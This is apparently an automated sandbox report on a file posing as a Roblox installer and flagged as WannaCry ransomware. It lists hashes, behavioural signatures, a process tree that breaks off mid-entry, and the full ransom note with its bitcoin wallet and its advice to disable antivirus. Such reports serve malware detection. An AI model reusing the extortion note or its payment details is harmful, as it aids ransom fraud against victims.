Overview

overview

10

Static

static

1

RobloxPlay...2).exe

windows10-2004-x64

Analysis

  • max time kernel
    270s
  • max time network
    272s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-03-2024 12:38

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    RobloxPlayerInstaller (2).exe

  • Size

    4.6MB

  • MD5

    b090d2f2f22eb863bc1b19c0ce9d24ba

  • SHA1

    92d2469466f72e05bfd1be8665673b46a8523077

  • SHA256

    c2d04ac5575a8bad6c839b9471a7271a3d074e2f2baffed87f679be56902dd7b

  • SHA512

    a61ab0a46af72777268662a8db8db010f6b30014a4689f08302eed56381098e5e6f8d7a7b7c0cd32e16b53a296c4ee86d9b69cbc9abaa6f6b146d72d630a6312

  • SSDEEP

    98304:J6vseEXOI6YbJ8JP6yabDMTwS8g2ZFmu2BftJJmVYobBb0:UiJ6bP5Mg2HQJWnF0

Score
10/10
wannacrydiscoveryevasionpersistenceransomwaretrojanworm

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\Temp1_WannaCrypt0r.zip\@[email protected]

Family

wannacry

Ransom Note
Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94 Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �
Wallets

13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

Signatures

  • Wannacry

    WannaCry is a ransomware cryptoworm.

    ransomwarewormwannacry
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Disables Task Manager via registry modification
    evasion
  • Drops startup file 2 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Downloads MZ/PE file
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Sets file execution options in registry 2 TTPs 2 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 21 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks system information in the registry 2 TTPs 10 IoCs

    System information is often read in order to detect sandboxing environments.

  • Drops file in Program Files directory 64 IoCs
  • Executes dropped EXE 21 IoCs
  • Loads dropped DLL 24 IoCs
  • Registers COM server for autorun 1 TTPs 33 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 6 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 56 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 58 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 2 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\RobloxPlayerInstaller (2).exe
    "C:\Users\Admin\AppData\Local\Temp\RobloxPlayerInstaller (2).exe"
    1⤵
    • Checks whether UAC is enabled
    • Drops file in Program Files directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    PID:4576
    • C:\Program Files (x86)\Roblox\Versions\version-97058ca6653344cd\WebView2RuntimeInstaller\MicrosoftEdgeWebview2Setup.exe
      MicrosoftEdgeWebview2Setup.exe /silent /install
      2⤵
      • Drops file in Program Files directory
      • Executes dropped EXE
      PID:5900
      • C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\MicrosoftEdgeUpdate.exe
        "C:\Program Files (x86)\Microsoft\Temp\EUB9F9.tmp\MicrosoftEdgeUpdate.exe" /silent /install "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname=Microsoft%20Edge%20Webview2%20Runtime&needsadmin=prefers"
        3⤵
        • Sets file execution options in registry
        • Checks computer location settings
        • Checks system information in the registry
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5568
        • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
          "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /regsvc
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies registry class
          PID:5204
        • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
          "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /regserver
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies registry class
          PID:6000
          • C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.171.39\MicrosoftEdgeUpdateComRegisterShell64.exe
            "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.171.39\MicrosoftEdgeUpdateComRegisterShell64.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Registers COM server for autorun
            • Modifies registry class
            PID:5172
          • C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.171.39\MicrosoftEdgeUpdateComRegisterShell64.exe
            "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.171.39\MicrosoftEdgeUpdateComRegisterShell64.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Registers COM server for autorun
            • Modifies registry class
            PID:5992
          • C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.171.39\MicrosoftEdgeUpdateComRegisterShell64.exe
            "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.171.39\MicrosoftEdgeUpdateComRegisterShell64.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Registers COM server for autorun
            • Modifies registry class
            PID:6016
        • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
          "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xNzEuMzkiIHNoZWxsX3ZlcnNpb249IjEuMy4xNzEuMzkiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7MEUxQUI1REQtQTY3OC00Qjc1LThENzMtQzlEQjRBNDExQkI5fSIgdXNlcmlkPSJ7M0NFMDhDMDQtNzVCRS00QjNGLUIxMzAtOEQ2RkNDMDlFRjQyfSIgaW5zdGFsbHNvdXJjZT0ib3RoZXJpbnN0YWxsY21kIiByZXF1ZXN0aWQ9IntBM0U5QzZDQi1FNUJCLTQ1MkItOUYyRC0wQUU2NTQ5QzE0OTV9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iOCIgcGh5c21lbW9yeT0iOCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE5MDQxLjEyODgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iREFEWSIgcHJvZHVjdF9uYW1lPSJTdGFuZGFyZCBQQyAoUTM1ICsgSUNIOSwgMjAwOSkiLz48ZXhwIGV0YWc9IiZxdW90O3FXSlN6V3dQZmRjTFIrWEdJdjZ4clpmaVlPeGhQVTJzMU5XbWpXY2FGUGc9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0ie0YzQzRGRTAwLUVGRDUtNDAzQi05NTY5LTM5OEEyMEYxQkE0QX0iIHZlcnNpb249IjEuMy4xODEuNSIgbmV4dHZlcnNpb249IjEuMy4xNzEuMzkiIGxhbmc9IiIgYnJhbmQ9IiIgY2xpZW50PSIiPjxldmVudCBldmVudHR5cGU9IjIiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIHN5c3RlbV91cHRpbWVfdGlja3M9IjQ4NzI4NTgzNDQiIGluc3RhbGxfdGltZV9tcz0iOTEyIi8-PC9hcHA-PC9yZXF1ZXN0Pg
          4⤵
          • Checks system information in the registry
          • Executes dropped EXE
          • Loads dropped DLL
          PID:6116
        • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
          "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /handoff "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname=Microsoft%20Edge%20Webview2%20Runtime&needsadmin=prefers" /installsource otherinstallcmd /sessionid "{0E1AB5DD-A678-4B75-8D73-C9DB4A411BB9}" /silent
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:5260
    • C:\Program Files (x86)\Roblox\Versions\version-97058ca6653344cd\RobloxPlayerBeta.exe
      "C:\Program Files (x86)\Roblox\Versions\version-97058ca6653344cd\RobloxPlayerBeta.exe" -app
      2⤵
      • Suspicious use of NtCreateThreadExHideFromDebugger
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of UnmapMainImage
      PID:3272
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2644
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fffac1246f8,0x7fffac124708,0x7fffac124718
      2⤵
        PID:3812
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 /prefetch:2
        2⤵
          PID:400
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4980
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2836 /prefetch:8
          2⤵
            PID:4616
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3392 /prefetch:1
            2⤵
              PID:1920
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3524 /prefetch:1
              2⤵
                PID:1908
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4224 /prefetch:1
                2⤵
                  PID:2144
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4708 /prefetch:1
                  2⤵
                    PID:4584
                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3432 /prefetch:8
                    2⤵
                      PID:1608
                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3432 /prefetch:8
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3228
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3140 /prefetch:1
                      2⤵
                        PID:604
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5184 /prefetch:1
                        2⤵
                          PID:3804
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5452 /prefetch:1
                          2⤵
                            PID:3608
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5212 /prefetch:1
                            2⤵
                              PID:4248
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3456 /prefetch:1
                              2⤵
                                PID:4488
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3468 /prefetch:1
                                2⤵
                                  PID:5284
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5804 /prefetch:1
                                  2⤵
                                    PID:5940
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4164 /prefetch:8
                                    2⤵
                                      PID:5368
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=2264 /prefetch:8
                                      2⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:5376
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5764 /prefetch:1
                                      2⤵
                                        PID:5876
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5932 /prefetch:1
                                        2⤵
                                          PID:5332
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4816 /prefetch:1
                                          2⤵
                                            PID:4520
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5436 /prefetch:8
                                            2⤵
                                              PID:5956
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5964 /prefetch:1
                                              2⤵
                                                PID:5668
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6292 /prefetch:8
                                                2⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:5828
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6136 /prefetch:1
                                                2⤵
                                                  PID:5504
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6464 /prefetch:8
                                                  2⤵
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:3716
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6016 /prefetch:2
                                                  2⤵
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:6036
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3900 /prefetch:1
                                                  2⤵
                                                    PID:5444
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6148 /prefetch:1
                                                    2⤵
                                                      PID:5220
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2752 /prefetch:8
                                                      2⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:2816
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6304 /prefetch:1
                                                      2⤵
                                                        PID:5848
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2156,16221693347773307157,15482089656882683956,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 /prefetch:8
                                                        2⤵
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:5624
                                                    • C:\Windows\System32\CompPkgSrv.exe
                                                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                      1⤵
                                                        PID:2404
                                                      • C:\Windows\System32\CompPkgSrv.exe
                                                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                        1⤵
                                                          PID:2008
                                                        • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                                                          "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
                                                          1⤵
                                                          • Checks system information in the registry
                                                          • Executes dropped EXE
                                                          • Loads dropped DLL
                                                          • Modifies data under HKEY_USERS
                                                          PID:5480
                                                          • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
